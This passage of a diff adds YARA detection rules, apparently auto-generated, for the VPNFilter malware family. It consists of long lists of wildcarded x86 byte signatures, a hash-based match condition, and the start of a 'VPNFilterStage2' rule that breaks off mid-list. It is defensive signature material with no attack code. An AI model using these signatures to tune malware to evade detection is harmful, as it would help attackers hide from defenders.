+		$block_10 = { 8D ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? FF 9? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 29 ?? 8D ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 86 }
+		$block_12 = { 8B ?? ?? 83 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 89 ?? 89 ?? FC C1 ?? ?? 31 ?? F3 ?? 8B ?? ?? 89 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? 5? 5? 5? 5? C3 }
+		$block_14 = { 8B ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 8D ?? ?? 29 ?? 89 ?? ?? 5? 5? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 5? 4? 5? 89 ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? ?? FC 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? 89 ?? C1 ?? ?? 8D ?? ?? F3 ?? F6 ?? ?? 89 ?? 74 }
+		$block_18 = { B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? 8B ?? ?? F3 ?? 0F 97 ?? 0F 92 ?? BF ?? ?? ?? ?? 38 ?? 74 }
+		$block_19 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? C1 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? C6 ?? ?? 5? 8B ?? ?? 5? 89 ?? 4? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_21 = { B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? 8B ?? ?? F3 ?? 0F 97 ?? 0F 92 ?? BF ?? ?? ?? ?? 38 ?? 75 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 09 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? ?? ?? ?? ?? 0F 87 }
+		$block_23 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? 0F 86 }
+		$block_25 = { 8D ?? ?? ?? 89 ?? 31 ?? F7 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 83 ?? ?? ?? 0F 84 }
+		$block_27 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? C1 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_28 = { 88 ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 80 F? ?? 19 ?? 83 ?? ?? 83 ?? ?? 3B ?? ?? 0F 85 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_31 = { 83 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_33 = { 8B ?? ?? 8B ?? ?? FC 89 ?? ?? 89 ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? 89 ?? F3 ?? 75 }
+		$block_34 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 31 ?? 8A ?? ?? 88 ?? 8D ?? ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_35 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? 0F 82 }
+		$block_37 = { 66 ?? ?? ?? 89 ?? 8B ?? ?? 25 ?? ?? ?? ?? 83 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 66 ?? ?? 0F 84 }
+		$block_38 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_39 = { 8B ?? ?? 89 ?? 85 ?? 0F 94 ?? 25 ?? ?? ?? ?? 31 ?? 5? 89 ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_40 = { 8B ?? ?? 8D ?? ?? 5? 83 ?? ?? 8B ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_41 = { 83 ?? ?? 8B ?? ?? 5? 5? 5? 8B ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_42 = { 66 ?? ?? ?? 31 ?? ?? F9 9B 4? 6A ?? C1 ?? ?? ?? ?? ?? ?? A2 ?? ?? ?? ?? 28 ?? ?? EF 77 }
+		$block_43 = { 83 ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 8B ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 5? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 83 ?? ?? 0F 84 }
+		$block_46 = { 8B ?? ?? 8B ?? ?? 01 ?? 5? 8B ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 39 ?? 0F 84 }
+		$block_47 = { 8B ?? 8B ?? ?? 01 ?? 89 ?? 3B ?? ?? 0F 92 ?? 25 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_48 = { 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_49 = { 83 ?? ?? 8D ?? ?? 8D ?? ?? 5? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_50 = { 5? 5? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 8B ?? ?? 89 ?? 03 ?? ?? 0F B7 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 0B ?? ?? 74 }
+		$block_52 = { 8A ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { FC 31 ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 8B ?? ?? FF 5? ?? BA ?? ?? ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_54 = { 5? 5? 8B ?? 5? 8B ?? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_55 = { 83 ?? ?? BB ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_56 = { 83 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_57 = { 8A ?? ?? ?? 31 ?? 88 ?? 89 ?? 29 ?? 84 ?? 89 ?? 0F 94 ?? 39 ?? 0F 92 ?? 09 ?? 4? 74 }
+		$block_58 = { 5? 5? 6A ?? 8B ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_59 = { 8B ?? ?? 8B ?? 5? 8B ?? ?? 83 ?? ?? 5? 5? 8B ?? ?? 5? FF 5? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_60 = { 8B ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 88 }
+		$block_62 = { 8D ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_63 = { 5? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_64 = { 8B ?? ?? B9 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 8B ?? 83 ?? ?? 89 ?? 8D ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_66 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_67 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 39 ?? 0F 87 }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 5? 5? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 0F B6 ?? 5? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 8D ?? ?? ?? ?? ?? 74 }
+		$block_71 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 01 ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 8E }
+		$block_72 = { 89 ?? 31 ?? 8A ?? 31 ?? C1 ?? ?? 8A ?? ?? 09 ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_73 = { 80 B? ?? ?? ?? ?? ?? ?? 0F 95 ?? 08 ?? 0F 94 ?? 25 ?? ?? ?? ?? 4? 01 ?? 39 ?? 75 }
+		$block_74 = { 8B ?? ?? 8D ?? ?? 83 ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_75 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 5? 89 ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 85 ?? 0F 85 }
+		$block_76 = { 8B ?? ?? 89 ?? 89 ?? C1 ?? ?? 83 ?? ?? 0F A3 ?? ?? ?? ?? ?? ?? 0F 92 ?? 84 ?? 74 }
+		$block_77 = { 8D ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? 31 ?? FC 8B ?? ?? F3 ?? 8B ?? ?? 3B ?? ?? 0F 8F }
+		$block_78 = { 05 ?? ?? ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_80 = { 5? 5? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_81 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? 89 ?? 0F AF ?? 85 ?? 7E }
+		$block_82 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? 89 ?? 0F AF ?? 85 ?? 78 }
+		$block_83 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? C1 ?? ?? 8B ?? ?? 39 ?? 0F 87 }
+		$block_85 = { 66 ?? ?? ?? 8D ?? ?? 89 ?? 81 E? ?? ?? ?? ?? FC 89 ?? C1 ?? ?? F3 ?? F6 ?? ?? 74 }
+		$block_86 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_87 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_88 = { 05 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 66 ?? ?? ?? 8D ?? ?? 89 ?? 81 E? ?? ?? ?? ?? FC 89 ?? C1 ?? ?? F3 ?? F6 ?? ?? 75 }
+		$block_90 = { 83 ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_91 = { 31 ?? 8D ?? ?? ?? ?? ?? ?? 8A ?? ?? 4? D3 ?? 8B ?? 09 ?? 89 ?? 39 ?? ?? 0F 86 }
+		$block_92 = { 31 ?? 8A ?? 89 ?? 8D ?? ?? 6A ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_93 = { 8B ?? ?? 66 ?? ?? ?? 89 ?? 81 E? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_94 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_95 = { 5? 6A ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_96 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 87 }
+		$block_97 = { 8D ?? ?? 31 ?? 8A ?? ?? 8A ?? ?? C1 ?? ?? 25 ?? ?? ?? ?? 09 ?? 83 ?? ?? 0F 86 }
+		$block_98 = { E8 ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 31 ?? 88 ?? 4? 81 E? ?? ?? ?? ?? 83 ?? ?? E9 }
+		$block_99 = { 5? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? BA ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "3df17f01c4850b96b00e90c880fdfabbd11c64a8707d24488485dd12fae8ec85" or
+		12 of them
+}
+
+rule VPNFilterStage2 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 31 ?? 83 ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 75 }
+		$block_4 = { B8 ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 31 ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { FF 8? ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8F }
+		$block_8 = { 8B ?? ?? 89 ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_9 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_11 = { 89 ?? C1 ?? ?? F6 ?? ?? 0F 95 ?? 0F B6 ?? 01 ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { B1 ?? 89 ?? 8B ?? ?? ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 8D ?? ?? 88 ?? 04 ?? 88 }
+		$block_13 = { D0 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? D3 ?? 85 ?? 0F 85 }
+		$block_14 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? 0F 86 }
+		$block_15 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? C1 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 89 ?? BA ?? ?? ?? ?? FC C1 ?? ?? F3 ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_17 = { 5? 89 ?? 5? 89 ?? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 8B ?? ?? B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? F3 ?? BF ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 74 }
+		$block_19 = { 8B ?? ?? B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? F3 ?? BF ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 75 }
+		$block_20 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_22 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_24 = { B9 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_25 = { 8D ?? ?? ?? 89 ?? 31 ?? F7 ?? 80 B? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_27 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_28 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_29 = { 8B ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? C1 ?? ?? BE ?? ?? ?? ?? 01 ?? 89 ?? ?? 0F B6 ?? 8B ?? ?? 29 }
+		$block_30 = { BF ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_31 = { C7 ?? ?? ?? ?? ?? ?? 29 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_32 = { B9 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_33 = { 89 ?? B3 ?? F6 ?? BA ?? ?? ?? ?? 89 ?? 31 ?? 0F B6 ?? F7 ?? 88 ?? 04 ?? 3C ?? 88 ?? ?? ?? 74 }
+		$block_34 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? 01 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_37 = { 8D ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_38 = { 8B ?? ?? 0F B6 ?? 01 ?? 4? 0F B6 ?? 83 ?? ?? 30 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 74 }
+		$block_39 = { 0F B6 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? FE ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 75 }
+		$block_40 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_41 = { B9 ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_42 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_44 = { 8B ?? 8D ?? ?? 89 ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_46 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_47 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 89 ?? 0F 84 }
+		$block_48 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 89 ?? C1 ?? ?? 31 ?? 8B ?? ?? 89 ?? 29 ?? 83 ?? ?? 89 ?? EB }
+		$block_49 = { 89 ?? 31 ?? FC C1 ?? ?? F3 ?? 8D ?? ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 76 }
+		$block_50 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_51 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 89 ?? 0F 84 }
+		$block_53 = { 8D ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_54 = { 8B ?? ?? 89 ?? ?? 89 ?? ?? 01 ?? 89 ?? ?? 8D ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 8B ?? 83 ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_56 = { 8D ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_57 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? 4? 83 ?? ?? 32 ?? 88 ?? 88 ?? FF 4? ?? 8B ?? ?? 39 ?? ?? 0F 84 }
+		$block_58 = { C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
